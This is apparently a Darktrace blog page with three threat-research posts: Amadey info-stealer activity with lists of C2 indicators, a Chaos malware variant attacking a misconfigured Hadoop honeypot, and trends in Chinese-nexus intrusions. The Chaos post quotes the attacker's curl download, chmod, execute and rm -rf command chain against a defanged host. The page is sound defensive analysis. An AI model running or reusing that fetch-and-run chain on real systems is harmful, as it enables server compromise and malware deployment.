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March 22, 2023

Amadey Info Stealer and N-Day Vulnerabilities

Understand the implications of the Amadey info stealer on cybersecurity and how it exploits N-day vulnerabilities for data theft.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Zoe Tilsiter
Cyber Analyst
Written by
The Darktrace Threat Research Team
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22
Mar 2023

The continued prevalence of Malware as a Service (MaaS) across the cyber threat landscape means that even the most inexperienced of would-be malicious actors are able to carry out damaging and wide-spread cyber-attacks with relative ease. Among these commonly employed MaaS are information stealers, or info-stealers, a type of malware that infects a device and attempts to gather sensitive information before exfiltrating it to the attacker. Info-stealers typically target confidential information, such as login credentials and bank details, and attempt to lie low on a compromised device, allowing access to sensitive data for longer periods of time. 

It is essential for organizations to have efficient security measures in place to defend their networks from attackers in an increasing versatile and accessible threat landscape, however incident response alone is not enough. Having an autonomous decision maker able to not only detect suspicious activity, but also take action against it in real time, is of the upmost importance to defend against significant network compromise. 

Between August and December 2022, Darktrace detected the Amadey info-stealer on more than 30 customer environments, spanning various regions and industry verticals across the customer base. This shows a continual presence and overlap of info-stealer indicators of compromise (IOCs) across the cyber threat landscape, such as RacoonStealer, which we discussed last November (Part 1 and Part 2).

Background on Amadey

Amadey Bot, a malware that was first discovered in 2018, is capable of stealing sensitive information and installing additional malware by receiving commands from the attacker. Like other malware strains, it is being sold in illegal forums as MaaS starting from $500 USD [1]. 

Researchers at AhnLab found that Amadey is typically distributed via existing SmokeLoader loader malware campaigns. Downloading cracked versions of legitimate software causes SmokeLoader to inject malicious payload into Windows Explorer processes and proceeds to download Amadey.  

The botnet has also been used for distributed denial of service (DDoS) attacks, and as a vector to install malware spam campaigns, such as LockBit 3.0 [2]. Regardless of the delivery techniques, similar patterns of activity were observed across multiple customer environments. 

Amadey’s primary function is to steal information and further distribute malware. It aims to extract a variety of information from infected devices and attempts to evade the detection of security measures by reducing the volume of data exfiltration compared to that seen in other malicious instances.

Darktrace DETECT/Network™ and its built-in features, such as Wireshark Packet Captures (PCAP), identified Amadey activity on customer networks, whilst Darktrace RESPOND/Network™ autonomously intervened to halt its progress.

Attack Details

Figure 1: Timeline of Amadey info-stealer kill chain.

Initial Access  

User engagement with malicious email attachments or cracked software results in direct execution of the SmokeLoader loader malware on a device. Once the loader has executed its payload, it is then able to download additional malware, including the Amadey info-stealer.

Unusual Outbound Connections 

After initial access by the loader and download of additional malware, the Amadey info-stealer captures screenshots of network information and sends them to Amadey command and control (C2) servers via HTTP POST requests with no GET to a .php URI. An example of this can be seen in Figure 2.  

Figure 2: PCAP from an affected customer showing screenshots being sent out to the Amadey C2 server via a .jpg file. 

C2 Communications  

The infected device continues to make repeated connections out to this Amadey endpoint. Amadey's C2 server will respond with instructions to download additional plugins in the form of dynamic-link libraries (DLLs), such as "/Mb1sDv3/Plugins/cred64.dll", or attempt to download secondary info-stealers such as RedLine or RaccoonStealer. 

Internal Reconnaissance 

The device downloads executable and DLL files, or stealer configuration files to steal additional network information from software including RealVNC and Outlook. Most compromised accounts were observed downloading additional malware following commands received from the attacker.

Data Exfiltration 

The stolen information is then sent out via high volumes of HTTP connection. It makes HTTP POSTs to malicious .php URIs again, this time exfiltrating more data such as the Amadey version, device names, and any anti-malware software installed on the system.

How did the attackers bypass the rest of the security stack?

Existing N-Day vulnerabilities are leveraged to launch new attacks on customer networks and potentially bypass other tools in the security stack. Additionally, exfiltrating data via low and slow HTTP connections, rather than large file transfers to cloud storage platforms, is an effective means of evading the detection of traditional security tools which often look for large data transfers, sometimes to a specific list of identified “bad” endpoints.

Darktrace Coverage 

Amadey activity was autonomously identified by DETECT and the Cyber AI Analyst. A list of DETECT models that were triggered on deployments during this kill chain can be found in the Appendices. 

Various Amadey activities were detected and highlighted in DETECT model breaches and their model breach event logs. Figure 3 shows a compromised device making suspicious HTTP POST requests, causing the ‘Anomalous Connection / Posting HTTP to IP Without Hostname’ model to breach. It also downloaded an executable file (.exe) from the same IP.

Figure 3: Amadey activity on a customer deployment captured by model breaches and event logs. 

DETECT’s built-in features also assisted with detecting the data exfiltration. Using the PCAP integration, the exfiltrated data was captured for analysis. Figure 4 shows a connection made to the Amadey endpoint, in which information about the infected device, such as system ID and computer name, were sent. 

Figure 4: PCAP downloaded from Darktrace event logs highlighting data egress to the Amadey endpoint. 

Further information about the infected system can be seen in the above PCAP. As outlined by researchers at Ahnlab and shown in Figure 5, additional system information sent includes the Amadey version (vs=), the device’s admin privilege status (ar=), and any installed anti-malware or anti-virus software installed on the infected environment (av=) [3]. 

Figure 5: AhnLab’s glossary table explaining the information sent to the Amadey C2 server. 

Darktrace’s AI Analyst was also able to connect commonalities between model breaches on a device and present them as a connected incident made up of separate events. Figure 6 shows the AI Analyst incident log for a device having breached multiple models indicative of the Amadey kill chain. It displays the timeline of these events, the specific IOCs, and the associated attack tactic, in this case ‘Command and Control’. 

Figure 6: A screenshot of multiple IOCs and activity correlated together by AI Analyst. 

When enabled on customer’s deployments, RESPOND was able to take immediate action against Amadey to mitigate its impact on customer networks. RESPOND models that breached include: 

  • Antigena / Network / Significant Anomaly / Antigena Significant Anomaly from Client Block
  • Antigena / Network / External Threat / Antigena Suspicious File Block 
  • Antigena / Network / Significant Anomaly / Antigena Controlled and Model Breach

On one customer’s environment, a device made a POST request with no GET to URI ‘/p84Nls2/index.php’ and unepeureyore[.]xyz. RESPOND autonomously enforced a previously established pattern of life on the device twice for 30 minutes each and blocked all outgoing traffic from the device for 10 minutes. Enforcing a device’s pattern of life restricts it to conduct activity within the device and/or user’s expected pattern of behavior and blocks anything anomalous or unexpected, enabling normal business operations to continue. This response is intended to reduce the potential scale of attacks by disrupting the kill chain, whilst ensuring business disruption is kept to a minimum. 

Figure 7: RESPOND actions taken on a customer deployment to disrupt the Amadey kill chain. 

The Darktrace Threat Research team conducted thorough investigations into Amadey activity observed across the customer base. They were able to identify and contextualize this threat across the fleet, enriching AI insights with collaborative human analysis. Pivoting from AI insights as their primary source of information, the Threat Research team were able to provide layered analysis to confirm this campaign-like activity and assess the threat across multiple unique environments, providing a holistic assessment to customers with contextualized insights.

Conclusion

The presence of the Amadey info-stealer in multiple customer environments highlights the continuing prevalence of MaaS and info-stealers across the threat landscape. The Amadey info-stealer in particular demonstrates that by evading N-day vulnerability patches, threat actors routinely launch new attacks. These malicious actors are then able to evade detection by traditional security tools by employing low and slow data exfiltration techniques, as opposed to large file transfers.

Crucially, Darktrace’s AI insights were coupled with expert human analysis to detect, respond, and provide contextualized insights to notify customers of Amadey activity effectively. DETECT captured Amadey activity taking place on customer deployments, and where enabled, RESPOND’s autonomous technology was able to take immediate action to reduce the scale of such attacks. Finally, the Threat Research team were in place to provide enhanced analysis for affected customers to help security teams future-proof against similar attacks.

Appendices

Darktrace Model Detections 

Anomalous File / EXE from Rare External Location

Device / Initial Breach Chain Compromise

Anomalous Connection / Posting HTTP to IP Without Hostname 

Anomalous Connection / POST to PHP on New External Host

Anomalous Connection / Multiple HTTP POSTs to Rare Hostname 

Compromise / Beaconing Activity To External Rare

Compromise / Slow Beaconing Activity To External Rare

Anomalous Connection / Multiple Failed Connections to Rare Endpoint

List of IOCs

f0ce8614cc2c3ae1fcba93bc4a8b82196e7139f7 - SHA1 - Amadey DLL File Hash

e487edceeef3a41e2a8eea1e684bcbc3b39adb97 - SHA1 - Amadey DLL File Hash

0f9006d8f09e91bbd459b8254dd945e4fbae25d9 - SHA1 - Amadey DLL File Hash

4069fdad04f5e41b36945cc871eb87a309fd3442 - SHA1 - Amadey DLL File Hash

193.106.191[.]201 - IP - Amadey C2 Endpoint

77.73.134[.]66 - IP - Amadey C2 Endpoint

78.153.144[.]60 - IP - Amadey C2 Endpoint

62.204.41[.]252 - IP - Amadey C2 Endpoint

45.153.240[.]94 - IP - Amadey C2 Endpoint

185.215.113[.]204 - IP - Amadey C2 Endpoint

85.209.135[.]11 - IP - Amadey C2 Endpoint

185.215.113[.]205 - IP - Amadey C2 Endpoint

31.41.244[.]146 - IP - Amadey C2 Endpoint

5.154.181[.]119 - IP - Amadey C2 Endpoint

45.130.151[.]191 - IP - Amadey C2 Endpoint

193.106.191[.]184 - IP - Amadey C2 Endpoint

31.41.244[.]15 - IP - Amadey C2 Endpoint

77.73.133[.]72 - IP - Amadey C2 Endpoint

89.163.249[.]231 - IP - Amadey C2 Endpoint

193.56.146[.]243 - IP - Amadey C2 Endpoint

31.41.244[.]158 - IP - Amadey C2 Endpoint

85.209.135[.]109 - IP - Amadey C2 Endpoint

77.73.134[.]45 - IP - Amadey C2 Endpoint

moscow12[.]at - Hostname - Amadey C2 Endpoint

moscow13[.]at - Hostname - Amadey C2 Endpoint

unepeureyore[.]xyz - Hostname - Amadey C2 Endpoint

/fb73jc3/index.php - URI - Amadey C2 Endpoint

/panelis/index.php - URI - Amadey C2 Endpoint

/panelis/index.php?scr=1 - URI - Amadey C2 Endpoint

/panel/index.php - URI - Amadey C2 Endpoint

/panel/index.php?scr=1 - URI - Amadey C2 Endpoint

/panel/Plugins/cred.dll - URI - Amadey C2 Endpoint

/jg94cVd30f/index.php - URI - Amadey C2 Endpoint

/jg94cVd30f/index.php?scr=1 - URI - Amadey C2 Endpoint

/o7Vsjd3a2f/index.php - URI - Amadey C2 Endpoint

/o7Vsjd3a2f/index.php?scr=1 - URI - Amadey C2 Endpoint

/o7Vsjd3a2f/Plugins/cred64.dll - URI - Amadey C2 Endpoint

/gjend7w/index.php - URI - Amadey C2 Endpoint

/hfk3vK9/index.php - URI - Amadey C2 Endpoint

/v3S1dl2/index.php - URI - Amadey C2 Endpoint

/f9v33dkSXm/index.php - URI - Amadey C2 Endpoint

/p84Nls2/index.php - URI - Amadey C2 Endpoint

/p84Nls2/Plugins/cred.dll - URI - Amadey C2 Endpoint

/nB8cWack3/index.php - URI - Amadey C2 Endpoint

/rest/index.php - URI - Amadey C2 Endpoint

/Mb1sDv3/index.php - URI - Amadey C2 Endpoint

/Mb1sDv3/index.php?scr=1 - URI - Amadey C2 Endpoint

/Mb1sDv3/Plugins/cred64.dll  - URI - Amadey C2 Endpoint

/h8V2cQlbd3/index.php - URI - Amadey C2 Endpoint

/f5OknW/index.php - URI - Amadey C2 Endpoint

/rSbFldr23/index.php - URI - Amadey C2 Endpoint

/rSbFldr23/index.php?scr=1 - URI - Amadey C2 Endpoint

/jg94cVd30f/Plugins/cred64.dll - URI - Amadey C2 Endpoint

/mBsjv2swweP/Plugins/cred64.dll - URI - Amadey C2 Endpoint

/rSbFldr23/Plugins/cred64.dll - URI - Amadey C2 Endpoint

/Plugins/cred64.dll - URI - Amadey C2 Endpoint

Mitre Attack and Mapping 

Collection:

T1185 - Man the Browser

Initial Access and Resource Development:

T1189 - Drive-by Compromise

T1588.001 - Malware

Persistence:

T1176 - Browser Extensions

Command and Control:

T1071 - Application Layer Protocol

T1071.001 - Web Protocols

T1090.002 - External Proxy

T1095 - Non-Application Layer Protocol

T1571 - Non-Standard Port

T1105 - Ingress Tool Transfer

References 

[1] https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

[2] https://asec.ahnlab.com/en/41450/

[3] https://asec.ahnlab.com/en/36634/

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Zoe Tilsiter
Cyber Analyst
Written by
The Darktrace Threat Research Team

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April 7, 2026

Darktrace Identifies New Chaos Malware Variant Exploiting Misconfigurations in the Cloud

Chaos Malware Variant Exploiting Misconfigurations in the CloudDefault blog imageDefault blog image

Introduction

To observe adversary behavior in real time, Darktrace operates a global honeypot network known as “CloudyPots”, designed to capture malicious activity across a wide range of services, protocols, and cloud platforms. These honeypots provide valuable insights into the techniques, tools, and malware actively targeting internet‑facing infrastructure.

One example of software targeted within Darktrace’s honeypots is Hadoop, an open-source framework developed by Apache that enables the distributed processing of large data sets across clusters of computers. In Darktrace’s honeypot environment, the Hadoop instance is intentionally misconfigured to allow attackers to achieve remote code execution on the service. In one example from March 2026, this enabled Darktrace to identify and further investigate activity linked to Chaos malware.

What is Chaos Malware?

First discovered by Lumen’s Black Lotus Labs, Chaos is a Go-based malware [1]. It is speculated to be of Chinese origin, based on Chinese language characters found within strings in the sample and the presence of zh-CN locale indicators. Based on code overlap, Chaos is likely an evolution of the Kaiji botnet.

Chaos has historically targeted routers and primarily spreads through SSH brute-forcing and known Common Vulnerabilities and Exposures (CVEs) in router software. It then utilizes infected devices as part of a Distributed Denial-of-Service (DDoS) botnet, as well as cryptomining.

Darktrace’s view of a Chaos Malware Compromise

The attack began when a threat actor sent a request to an endpoint on the Hadoop deployment to create a new application.

The initial infection being delivered to the unsecured endpoint.
Figure 1: The initial infection being delivered to the unsecured endpoint.

This defines a new application with an initial command to run inside the container, specified in the command field of the am-container-spec section. This, in turn, initiates several shell commands:

  • curl -L -O http://pan.tenire[.]com/down.php/7c49006c2e417f20c732409ead2d6cc0. - downloads a file from the attacker’s server, in this case a Chaos agent malware executable.
  • chmod 777 7c49006c2e417f20c732409ead2d6cc0. - sets permissions to allow all users to read, write, and execute the malware.
  • ./7c49006c2e417f20c732409ead2d6cc0. - executes the malware
  • rm -rf 7c49006c2e417f20c732409ead2d6cc0. - deletes the malware file from the disk to reduce traces of activity.

In practice, once this application is created an attacker-defined binary is downloaded from their server, executed on the system, and then removed to prevent forensic recovery. The domain pan.tenire[.]com has been previously observed in another campaign, dubbed “Operation Silk Lure”, which delivered the ValleyRAT Remote Access Trojan (RAT) via malicious job application resumes. Like Chaos, this campaign featured extensive Chinese characters throughout its stages, including within the fake resume themselves. The domain resolves to 107[.]189.10.219, a virtual private server (VPS) hosted in BuyVM’s Luxembourg location, a provider known for offering low-cost VPS services.

Analysis of the updated Chaos malware sample

Chaos has historically targeted routers and other edge devices, making compromises of Linux server environments a relatively new development. The sample observed by Darktrace in this compromise is a 64-bit ELF binary, while the majority of router hardware typically runs on ARM, MIPS, or PowerPC architecture and often 32-bit.

The malware sample used in the attack has undergone notable restructuring compared to earlier versions. The default namespace has been changed from “main_chaos” to just “main”, and several functions have been reworked. Despite these changes, the sample retains its core features, including persistence mechanisms established via systemd and a malicious keep-alive script stored at /boot/system.pub.

The creation of the systemd persistence service.
Figure 2: The creation of the systemd persistence service.

Likewise, the functions to perform DDoS attacks are still present, with methods that target the following protocols:

  • HTTP
  • TLS
  • TCP
  • UDP
  • WebSocket

However, several features such as the SSH spreader and vulnerability exploitation functions appear to have been removed. In addition, several functions that were previously believed to be inherited from Kaiji have also been changed, suggesting that the threat actors have either rewritten the malware or refactored it extensively.

A new function of the malware is a SOCKS proxy. When the malware receives a StartProxy command from the command-and-control (C2) server, it will begin listening on an attacker-controlled TCP port and operates as a SOCKS5 proxy. This enables the attacker to route their traffic via the compromised server and use it as a proxy. This capability offers several advantages: it enables the threat actor to launch attacks from the victim’s internet connection, making the activity appear to originate from the victim instead of the attacker, and it allows the attacker to pivot into internal networks only accessible from the compromised server.

The command processor for StartProxy. Due to endianness, the string is reversed.
Figure 3: The command processor for StartProxy. Due to endianness, the string is reversed.

In previous cases, other DDoS botnets, such as Aisuru, have been observed pivoting to offer proxying services to other cybercriminals. The creators of Chaos may have taken note of this trend and added similar functionality to expand their monetization options and enhance the capabilities of their own botnet, helping ensure they do not fall behind competing operators.

The sample contains an embedded domain, gmserver.osfc[.]org[.]cn, which it uses to resolve the IP of its C2 server.  At time or writing, the domain resolves to 70[.]39.181.70, an IP owned by NetLabel Global which is geolocated at Hong Kong.

Historically, the domain has also resolved to 154[.]26.209.250, owned by Kurun Cloud, a low-cost VPS provider that offers dedicated server rentals. The malware uses port 65111 for sending and receiving commands, although neither IP appears to be actively accepting connections on this port at the time of writing.

Key takeaways

While Chaos is not a new malware, its continued evolution highlights the dedication of cybercriminals to expand their botnets and enhance the capabilities at their disposal. Previously reported versions of Chaos malware already featured the ability to exploit a wide range of router CVEs, and its recent shift towards targeting Linux cloud-server vulnerabilities will further broaden its reach.

It is therefore important that security teams patch CVEs and ensure strong security configuration for applications deployed in the cloud, particularly as the cloud market continues to grow rapidly while available security tooling struggles to keep pace.

The recent shift in botnets such as Aisuru and Chaos to include proxy services as core features demonstrates that denial-of-service is no longer the only risk these botnets pose to organizations and their security teams. Proxies enable attackers to bypass rate limits and mask their tracks, enabling more complex forms of cybercrime while making it significantly harder for defenders to detect and block malicious campaigns.

Credit to Nathaniel Bill (Malware Research Engineer)
Edited by Ryan Traill (Content Manager)

Indicators of Compromise (IoCs)

ae457fc5e07195509f074fe45a6521e7fd9e4cd3cd43e42d10b0222b34f2de7a - Chaos Malware hash

182[.]90.229.95 - Attacker IP

pan.tenire[.]com (107[.]189.10.219) - Server hosting malicious binaries

gmserver.osfc[.]org[.]cn (70[.]39.181.70, 154[.]26.209.250) - Attacker C2 Server

References

[1] - https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/

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About the author
Nathaniel Bill
Malware Research Engineer

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April 2, 2026

How Chinese-Nexus Cyber Operations Have Evolved – And What It Means For Cyber Risk and Resilience 

Chinese-Nexus Cyber OperationsDefault blog imageDefault blog image

Cybersecurity has traditionally organized risk around incidents, breaches, campaigns, and threat groups. Those elements still matter—but if we fixate on individual incidents, we risk missing the shaping of the entire ecosystem. Nation‑state–aligned operators are increasingly using cyber operations to establish long-term strategic leverage, not just to execute isolated attacks or short‑term objectives.  

Our latest research, Crimson Echo, shifts the lens accordingly. Instead of dissecting campaigns, malware families, or actor labels as discrete events, the threat research team analyzed Chinese‑nexus activity as a continuum of behaviors over time. That broader view reveals how these operators position themselves within environments: quietly, patiently, and persistently—often preparing the ground long before any recognizable “incident” occurs.  

How Chinese-nexus cyber threats have changed over time

Chinese-nexus cyber activity has evolved in four phases over the past two decades. This ranges from early, high-volume operations in the 1990s and early 2000s to more structured, strategically-aligned activity in the 2010s, and now toward highly adaptive, identity-centric intrusions.  

Today’s phase is defined by scale, operational restraint, and persistence. Attackers are establishing access, evaluating its strategic value, and maintaining it over time. This reflects a broader shift: cyber operations are increasingly integrated into long-term economic and geopolitical strategies. Access to digital environments, specifically those tied to critical national infrastructure, supply chains, and advanced technology, has become a form of strategic leverage for the long-term.  

How Darktrace analysts took a behavioral approach to a complex problem

One of the challenges in analyzing nation-state cyber activity is attribution. Traditional approaches often rely on tracking specific threat groups, malware families, or infrastructure. But these change constantly, and in the case of Chinese-nexus operations, they often overlap.

Crimson Echo is the result of a retrospective analysis of three years of anomalous activity observed across the Darktrace fleet between July 2022 and September 2025. Using behavioral detection, threat hunting, open-source intelligence, and a structured attribution framework (the Darktrace Cybersecurity Attribution Framework), the team identified dozens of medium- to high-confidence cases and analyzed them for recurring operational patterns.  

This long-horizon, behavior-centric approach allows Darktrace to identify consistent patterns in how intrusions unfold, reinforcing that behavioral patterns that matter.  

What the data shows

Several clear trends emerged from the analysis:

  • Targeting is concentrated in strategically important sectors. Across the dataset, 88% of intrusions occurred in organizations classified as critical infrastructure, including transportation, critical manufacturing, telecommunications, government, healthcare, and Information Technology (IT) services.  
  • Strategically important Western economies are a primary focus. The US alone accounted for 22.5% of observed cases, and when combined with major European economies including Germany, Italy, Spain and the UK, over half of all intrusions (55%) were concentrated in these regions.  
  • Nearly 63% of intrusions of intrusions began with the exploitation of internet-facing systems, reinforcing the continued risk posed by externally exposed infrastructure.  

Two models of cyber operations

Across the dataset, Chinese-nexus activity followed two operational models.  

The first is best described as “smash and grab.” These are short-horizon intrusions optimized for speed. Attackers move quickly – often exfiltrating data within 48 hours – and prioritize scale over stealth. The median duration of these compromises is around 10 days. It’s clear they are willing to risk detection for short-term gain.  

The second is “low and slow.” These operations were less prevalent in the dataset, but potentially more consequential. Here, attackers prioritize persistence, establishing durable access through identity systems and legitimate administrative tools, so they can maintain access undetected for months or even years. In one notable case, the actor had fully compromised the environment and established persistence, only to resurface in the environment more than 600 days after. The operational pause underscores both the depth of the intrusion and the actor’s long‑term strategic intent. This suggests that cyber access is a strategic asset to preserve and leverage over time, and we observed these attacks most often inin sectors of the high strategic importance.  

It’s important to note that the same operational ecosystem can employ both models concurrently, selecting the appropriate model based on target value, urgency, intended access. The observation of a “smash and grab” model should not be solely interpreted as a failure of tradecraft, but instead an operational choice likely aligned with objectives. Where “low and slow” operations are optimized for patience, smash and grab is optimized for speed; both seemingly are deliberate operational choices, not necessarily indicators of capability.  

Rethinking cyber risk

For many organizations, cyber risk is still framed as a series of discrete events. Something happens, it is detected and contained, and the organization moves on. But persistent access, particularly in deeply interconnected environments that span cloud, identity-based SaaS and agentic systems, and complex supply chain networks, creates a major ongoing exposure risk. Even in the absence of disruption or data theft, that access can provide insight into operations, dependencies, and strategic decision-making. Cyber risk increasingly resembles long-term competitive intelligence.  

This has impact beyond the Security Operations Center. Organizations need to shift how they think about governance, visibility, and resilience, and treat cyber exposure as a structural business risk instead of an incident response challenge.  

What comes next

The goal of this research is to provide a clearer understanding of how these operations work, so defenders can recognize them earlier and respond more effectively. That includes shifting from tracking indicators to understanding behaviors, treating identity providers as critical infrastructure risks, expanding supplier oversight, investing in rapid containment capabilities, and more.  

Learn more about the findings of Darktrace’s latest research, Crimson Echo: Understanding Chinese-nexus Cyber Operations Through Behavioral Analysis, by downloading the full report and summaries for business leaders, CISOs, and SOC analysts here.  

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About the author
Nathaniel Jones
VP, Security & AI Strategy, Field CISO
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